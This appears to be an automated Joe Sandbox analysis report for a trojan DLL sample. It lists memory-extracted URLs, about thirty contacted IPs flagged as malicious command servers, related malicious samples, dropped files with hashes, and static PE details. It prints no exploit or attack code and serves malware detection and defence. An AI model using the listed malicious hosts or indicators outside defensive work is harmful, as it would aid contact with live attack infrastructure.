https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.368206307.000001B813E13000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000002.00000002.378080839.000001B813E42000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.328155171.000001B813E41000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000002.00000003.333640085.000001B813E2F000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.330357133.000001B813E2E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.374497241.000001B813E30000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000003.313081383.000001B813E4B000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000002.00000003.325032729.000001B813E46000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.378807783.000001B813E47000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000002.00000002.378080839.000001B813E42000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.328155171.000001B813E41000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000002.00000002.374497241.000001B813E30000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000002.00000003.333640085.000001B813E2F000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.330357133.000001B813E2E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.374497241.000001B813E30000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.comsv	svchost.exe, 00000002.00000002.368206307.000001B813E13000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000002.00000003.325032729.000001B813E46000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.378807783.000001B813E47000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/roadshield.ashx?bucket=	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000002.00000003.313081383.000001B813E4B000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.154.133.20	unknown	France	12876	OnlineSASFR	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
104.245.52.73	unknown	United States	63251	METRO-WIRELESSUS	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
51.68.175.8	unknown	France	16276	OVHFR	true
103.8.26.102	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
41.76.108.46	unknown	South Africa	327979	DIAMATRIXZA	true
103.8.26.103	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
212.237.5.209	unknown	Italy	31034	ARUBA-ASNIT	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
210.57.217.132	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.184.25.237	unknown	Turkey	209711	MUVHOSTTR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
104.251.214.46	unknown	United States	54540	INCERO-HVVCUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532048
Start date:	01.12.2021
Start time:	17:28:01
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	2gyA5uNl6VPQUA.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.troj.evad.winDLL@35/8@0/30
EGA Information:	Failed
HDC Information:	Successful, ratio: 24.6% (good quality ratio 23.8%) Quality average: 72.7% Quality standard deviation: 24.2%
HCA Information:	Successful, ratio: 78% Number of executed functions: 41 Number of non-executed functions: 81
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): audiodg.exe, WMIADAP.exe Excluded IPs from analysis (whitelisted): 40.126.31.7, 20.190.159.131, 40.126.31.140, 40.126.31.138, 40.126.31.136, 20.190.159.137, 40.126.31.3, 40.126.31.2, 20.42.73.29, 20.82.209.183 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, www.tm.lg.prod.aadmsa.akadns.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, arc.msn.com, login.msa.msidentity.com, www.tm.a.prd.aadg.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:30:29	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
195.154.133.20	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
	TEm3oBxeXS.dll	Get hash	malicious	Browse
	ma9Kq24IDH.dll	Get hash	malicious	Browse
	U8GZ7uVALA.dll	Get hash	malicious	Browse
	nq136LQEds.dll	Get hash	malicious	Browse
212.237.17.99	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
	TEm3oBxeXS.dll	Get hash	malicious	Browse
	ma9Kq24IDH.dll	Get hash	malicious	Browse
	U8GZ7uVALA.dll	Get hash	malicious	Browse
	nq136LQEds.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARUBA-ASNIT	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	QUOTATION FORM.exe	Get hash	malicious	Browse	62.149.128.45
	MA4UA3e5xe	Get hash	malicious	Browse	46.37.10.252
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	212.237.56.116
	seL794VuEm	Get hash	malicious	Browse	31.14.139.79
	b6GJG5t0kg	Get hash	malicious	Browse	31.14.139.51
	U4pi8WRxNJ.dll	Get hash	malicious	Browse	212.237.56.116
	oERkAQeB4d.dll	Get hash	malicious	Browse	212.237.56.116
	FC9fpZrma1.dll	Get hash	malicious	Browse	212.237.56.116
	Z4HpRSQD6I.dll	Get hash	malicious	Browse	212.237.56.116
	uLCt7sc5se.dll	Get hash	malicious	Browse	212.237.56.116
	rGF1Xgw9Il.dll	Get hash	malicious	Browse	212.237.56.116
	nBtjFS1D08.dll	Get hash	malicious	Browse	212.237.56.116
	q8HPR8Yypk.dll	Get hash	malicious	Browse	212.237.56.116
	mZuFa05xCp.dll	Get hash	malicious	Browse	212.237.56.116
OnlineSASFR	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	AtlanticareINV25-67431254.htm	Get hash	malicious	Browse	51.15.17.195
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	195.154.133.20
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	67MPsax8fd.exe	Get hash	malicious	Browse	163.172.208.8
	Linux_x86	Get hash	malicious	Browse	212.83.174.79
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse	212.83.130.20
	MTjXit7IJn	Get hash	malicious	Browse	51.158.219.54
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	195.154.133.20
	gvtdsqavfej.dll	Get hash	malicious	Browse	195.154.146.35
	mhOX6jll6x.dll	Get hash	malicious	Browse	195.154.146.35
	dguQYT8p8j.dll	Get hash	malicious	Browse	195.154.146.35
	jSxIzXfwc7.dll	Get hash	malicious	Browse	195.154.146.35
	mhOX6jll6x.dll	Get hash	malicious	Browse	195.154.146.35
	X2XCewI2Yy.dll	Get hash	malicious	Browse	195.154.146.35

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11007315410389254
Encrypted:	false
SSDEEP:	12:261PjXm/Ey6q9995GNq3qQ10nMCldimE8eawHjcScrf:261Cl68sgLyMCldzE9BHjcd
MD5:	F509464584BDE228AC6200E4AAF46791
SHA1:	910529F0944A946D8A04101F68A7974FFC21AA2C
SHA-256:	1EF2E59D09B4C131FA935931AEDF926EABA1A22C4BE340B643697D690FB22982
SHA-512:	2BC237F4E2FDB86A44478B6D9311150E7685E60BEA2620743E8E6C4A004ED20B38544D1676354EC7280B77BB20F69B66DD31F2EB2B7DFC4C3F93BA45BF7F6201
Malicious:	false
Preview:	.........................................................................................6R7.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....................S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.........i>R7....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1127203686131934
Encrypted:	false
SSDEEP:	12:80jXm/Ey6q9995c1miM3qQ10nMCldimE8eawHza1miINtCP:8xl68K1tMLyMCldzE9BHza1tIri
MD5:	3E1816AC72E02624CA0A277C24E5AFCD
SHA1:	0BC7E702D5E870AE4365D3BFAD3F28B107F0F1AE
SHA-256:	C8CF94490DF4D5F9310AAFFF0D788A63DD6FD1E56A8EF5990057A8041FB283AD
SHA-512:	91AD8BC73D1B764707229A5FFF5CECABBBB915632CF65402E68147F58ADECEADEB030B10407419A8875AB7039AED56F395F5923739F5CC7B00979C265CD0E6E9
Malicious:	false
Preview:	.........................................................................................6Q7.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....................U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.........D>Q7....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11264702181093222
Encrypted:	false
SSDEEP:	12:8YjXm/Ey6q9995c1mK2P3qQ10nMCldimE8eawHza1mK0ssP:8Nl68K1iPLyMCldzE9BHza18
MD5:	0BD3A781A3DED6D0FDFBD5E332077DDE
SHA1:	0D810BF920322816C05D5C666A777928490EC26B
SHA-256:	CA36BDFD0B937952C0839CC0EB8D030628EFA7D59F5E48C731B9B0B20D5923F6
SHA-512:	0B76F7304E044501254180F259C23B5E9F410150F6468574029D757FB2E845F1E98C8FA25D3B991CD4276718BDC010BA1AB60FB6603DC1FA051B048DB90F3D94
Malicious:	false
Preview:	........................................................................................>wP7.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....................U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P...........P7....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001YS (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11007315410389254
Encrypted:	false
SSDEEP:	12:261PjXm/Ey6q9995GNq3qQ10nMCldimE8eawHjcScrf:261Cl68sgLyMCldzE9BHjcd
MD5:	F509464584BDE228AC6200E4AAF46791
SHA1:	910529F0944A946D8A04101F68A7974FFC21AA2C
SHA-256:	1EF2E59D09B4C131FA935931AEDF926EABA1A22C4BE340B643697D690FB22982
SHA-512:	2BC237F4E2FDB86A44478B6D9311150E7685E60BEA2620743E8E6C4A004ED20B38544D1676354EC7280B77BB20F69B66DD31F2EB2B7DFC4C3F93BA45BF7F6201
Malicious:	false
Preview:	.........................................................................................6R7.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....................S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.........i>R7....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1127203686131934
Encrypted:	false
SSDEEP:	12:80jXm/Ey6q9995c1miM3qQ10nMCldimE8eawHza1miINtCP:8xl68K1tMLyMCldzE9BHza1tIri
MD5:	3E1816AC72E02624CA0A277C24E5AFCD
SHA1:	0BC7E702D5E870AE4365D3BFAD3F28B107F0F1AE
SHA-256:	C8CF94490DF4D5F9310AAFFF0D788A63DD6FD1E56A8EF5990057A8041FB283AD
SHA-512:	91AD8BC73D1B764707229A5FFF5CECABBBB915632CF65402E68147F58ADECEADEB030B10407419A8875AB7039AED56F395F5923739F5CC7B00979C265CD0E6E9
Malicious:	false
Preview:	.........................................................................................6Q7.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....................U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.........D>Q7....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11264702181093222
Encrypted:	false
SSDEEP:	12:8YjXm/Ey6q9995c1mK2P3qQ10nMCldimE8eawHza1mK0ssP:8Nl68K1iPLyMCldzE9BHza18
MD5:	0BD3A781A3DED6D0FDFBD5E332077DDE
SHA1:	0D810BF920322816C05D5C666A777928490EC26B
SHA-256:	CA36BDFD0B937952C0839CC0EB8D030628EFA7D59F5E48C731B9B0B20D5923F6
SHA-512:	0B76F7304E044501254180F259C23B5E9F410150F6468574029D757FB2E845F1E98C8FA25D3B991CD4276718BDC010BA1AB60FB6603DC1FA051B048DB90F3D94
Malicious:	false
Preview:	........................................................................................>wP7.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....................U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P...........P7....................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1617821983611605
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3zk+R:j+s+v+b+P+m+0+Q+q+T+R
MD5:	1F848228A9E566D1A67D38C8FE9B378F
SHA1:	E75E77DD3FFD300A3379CF5EADEA0262D9E49DDD
SHA-256:	A9A59EC953B5242D3AC70E1336D94242065298DA0DB24DDF043F866FE0D12DAE
SHA-512:	D0DAA3E313E3C56C1F349B68859881E2BA15DBCA942BEE8CF919C2C02714128CF20689EF5A31045CC0AC5FF1E1603A419EED16BFC5912750B7A046C91BCA33FB
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211202_012855_088.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.7907703522626073
Encrypted:	false
SSDEEP:	96:4CAMbAwo+lE5uI9c2YkUCp0I2lShhk/S4ZAT2BYFzOUMC0rJReC8l5hbMCWl5IbZ:Lxe7/p2wvn2COkaCiC1CYC9MCo
MD5:	5621673E95B1159150EC48C66E1CE423
SHA1:	D345CDE13248322172A7B2D4C5A3E79E25C801A3
SHA-256:	A1F0EA666036D07976C3C831D6B406CBCE55E944C2C04A13ABB11A75FE1BFC7C
SHA-512:	81471CDDFFC812FFA0EFB6F96ADF1433865B50E522D8771F0FB837998AF00A1AC2F0356E83FCD3F3C29DF30A6457D5EBF9F91471A6B3CC99B33A616947963913
Malicious:	false
Preview:	.... ... ....................................... ...!....................................s.......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....D2..............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.2.0.2._.0.1.2.8.5.5._.0.8.8...e.t.l.........P.P..........s......................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.970960867517191
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2gyA5uNl6VPQUA.dll
File size:	387072
MD5:	5e20cb3466b66a9cdeac1ac74d9862e4
SHA1:	28ef4facb366de1fc7da62b975c8967997527c36
SHA256:	208939e34f46846c7c95383c6fea7813038b4dea87ea3819c157ccfbbf8aa09a
SHA512:	594039a003ac0c22a0a91c219c5cf50520994ead32f02efcfd8d79e57313c8ae041376fd0c3dcdfadf0472bee87363b28242a1d677e29cecb69127411fc6e722
SSDEEP:	6144:zBYrPMTsY8GR3j4fubnY6Zs/Bv6yM6aSTsfA2qL6jpXNcc6CEteuQJPIgtlpZ5L:yhmT4GbnYks/BJNWo2LjpScDEteuOIoZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...Q...Q...Q..E#...Q..E#...Q..E#...Q../$...Q...$...Q...$...Q...$...Q..E#...Q...Q...Q...Q...Q../$...Q../$...Q..Rich.Q.........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

